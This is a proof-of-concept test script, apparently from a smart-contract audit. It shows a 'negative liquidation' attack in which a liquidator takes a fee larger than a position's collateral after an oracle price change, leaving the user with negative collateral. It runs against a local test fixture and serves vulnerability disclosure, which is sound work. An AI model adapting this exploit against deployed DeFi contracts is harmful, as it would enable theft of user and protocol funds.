Negative Liquidation PoC code
Proof of concept code for Negative Liquidation attack:
describe('Liquidate', () => {
let instanceVars: InstanceVars
beforeEach(async () => {
instanceVars = await loadFixture(deployProtocol)
await instanceVars.chainlink.reset()
})
it('liquidates a user', async () => {
const POSITION = parse6decimal('0.001')
const COLLATERAL = parse6decimal('1000')
const { user, userB, userC, dsu, usdc, chainlink, marketFactory } = instanceVars
const multiInvoker = await createInvoker(instanceVars)
const market = await createMarket(instanceVars)
console.log("User deposits collateral");
// approve market to spend invoker's dsu
await multiInvoker
.connect(user)
.invoke([{ action: 8, args: utils.defaultAbiCoder.encode(['address'], [market.address]) }])
await dsu.connect(user).approve(multiInvoker.address, COLLATERAL.mul(1e12))
console.log("Deposited collateral: ", COLLATERAL);
// simulate collateral from other users
await dsu.connect(userC).transfer(market.address, COLLATERAL.mul(1e12))
await multiInvoker
.connect(user)
.invoke(buildUpdateMarket({ market: market.address, maker: POSITION, collateral: COLLATERAL }))
// Settle the market with a new oracle version
await chainlink.nextWithPriceModification(price => price.mul(1.5))
console.log("Position liquidated");
const userBUSDCBalance = await usdc.balanceOf(userB.address)
await expect(multiInvoker.connect(userB).invoke(buildLiquidateUser({ market: market.address, user: user.address })))
.to.emit(market, 'Updated')
.withArgs(user.address, TIMESTAMP_2, 0, 0, 0, '-1001000000', true) // 1001 is the maxliquidationfee parameter used
await dsu.connect(userC).transfer(market.address, 1002e12)
console.log("collateral after liquidation: ", (await market.locals(user.address)).collateral);
console.log("token earned by liquidator: ", (await usdc.balanceOf(userB.address)).sub(userBUSDCBalance))
expect((await market.locals(user.address)).protection).to.eq(TIMESTAMP_2)
expect((await market.locals(user.address)).collateral).to.equal('-1000000') // user now has negative collateral in the market
expect((await usdc.balanceOf(userB.address)).sub(userBUSDCBalance)).to.equal(parse6decimal('1001'))
console.log("attack successful");
})
})